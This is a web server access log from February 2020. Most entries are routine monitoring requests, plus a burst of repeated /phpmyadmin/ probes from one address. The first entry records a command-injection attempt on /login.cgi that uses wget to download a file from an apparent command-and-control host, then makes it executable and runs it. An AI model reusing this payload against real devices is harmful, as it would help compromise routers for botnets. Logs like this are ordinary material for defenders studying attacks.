124.67.231.54 - - [22/Feb/2020:13:39:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:13:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.68.40.76 - - [22/Feb/2020:13:41:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:13:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.150.149.172 - - [22/Feb/2020:13:43:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:13:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.118.14.56 - - [22/Feb/2020:13:46:57 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:57 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:58 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:58 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:58 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:59 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:59 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:46:59 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:00 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:00 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:00 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:01 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:01 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:01 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:01 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:02 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:02 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:02 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:03 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:03 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:03 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:04 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:04 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:04 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:05 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:05 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:05 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:06 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:06 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:06 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:07 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:07 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:07 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:08 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:08 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:08 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:09 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:09 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:09 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:09 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:10 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:10 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:10 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:11 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:11 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:11 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:12 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:12 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:12 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:13 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:13 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:13 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:14 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:14 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:14 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:15 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:15 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:15 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:16 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:16 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:16 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:17 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:17 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:17 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:17 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:18 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:18 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:18 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:29 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.118.14.56 - - [22/Feb/2020:13:47:29 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:13:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
